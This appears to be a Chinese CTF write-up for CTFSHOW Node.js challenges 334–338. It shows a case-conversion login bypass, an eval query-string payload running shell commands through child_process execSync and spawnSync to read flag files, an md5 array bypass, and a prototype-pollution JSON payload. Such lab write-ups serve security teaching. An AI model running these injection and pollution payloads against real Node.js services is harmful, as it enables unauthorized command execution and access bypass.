CTFSHOW nodejs 334-338
# CTFSHOW nodejs 334-338
nodejs是跨平台的 JavaScript 后端语言,用于开发服务器端应用程序。它能够执行文件读取、数据库查询等服务器端操作
参考文章
CTFSHOW-nodejs (opens new window) node官方文档 (opens new window) node官方文档--子进程 (opens new window)
# web 334 审计
下载文件添加zip扩展名,解压得到两个js文件
user.js里存储了用户名,密码
login.js里存放了登录的操作过程
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
关键语句,登录的用户名不能等于“CTFSHOW”,登录用户名的大写等于存放的用户名“CTFSHOW”,密码等于存放的密码“123456”
所以,name=ctfshow,pwd=123456
# web 335 命令执行
查看源码,?eval,提示get传参执行命令,类似php的eval函数
看了这个文档,带exec的应该都能直接执行命令吧(稍加思考)
# payload1,成功
?eval=require("child_process").execSync("ls;tac fl00g.txt");
# payload2,失败
?eval=require("child_process").exec("ls");
2
3
4
execSync可以执行,exec不能直接执行命令的原因,execSync 是同步函数,它可以直接在 require 语句后调用,并立即返回执行结果,可以直接在一行代码中调用它来执行命令并获取输出。那么同进程的其他命令执行函数也是如此?
# web 336 命令执行
上一题payload打不通了。换个函数,spawnSync(),不要直接像上一题一样写一大坨命令例如:
spawnSync("ls;tac flag.txt")
在这函数规定了似乎不允许
这个函数执行不能直接输出到页面,用stdout,toString()方法打印出 来
?eval=require("child_process").spawnSync("tac",['fl001g.txt']).stdout.toString();
# web 337
关键代码,接受参数a,b。类似php的一个md5比较,数组绕过
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}
2
3
4
5
url?a[]=1&b[]=1
# web 338 原型链污染
查看routes目录下login.js源码
补充:javascript中,所有对象都继承自一个原型对象,原型对象增加新的属性时,其他对象都会继承
const user = {name:"cola"}
const tool = {tools:"Google"}
Object.prototype.lang = "Python"
console.log(tool.lang)
//现在,打印结果出现了tool对象不存在的属性lang,从原型对象那里继承得来
//Python
2
3
4
5
6
代码会通过copy函数,把请求的内容赋值给user对象,如果我们给__proto__原型对象添加一个新的属性来影响原型对象的属性继承,那么就可以达到secert对象的属性ctfshow='36dboy'的条件
查看源码,登录接口需要传json数据
那这里就可以传一个json对象,{"proto":{"ctfshow":"36dboy"}},这样就让secert继承到ctfshow=36dboy的属性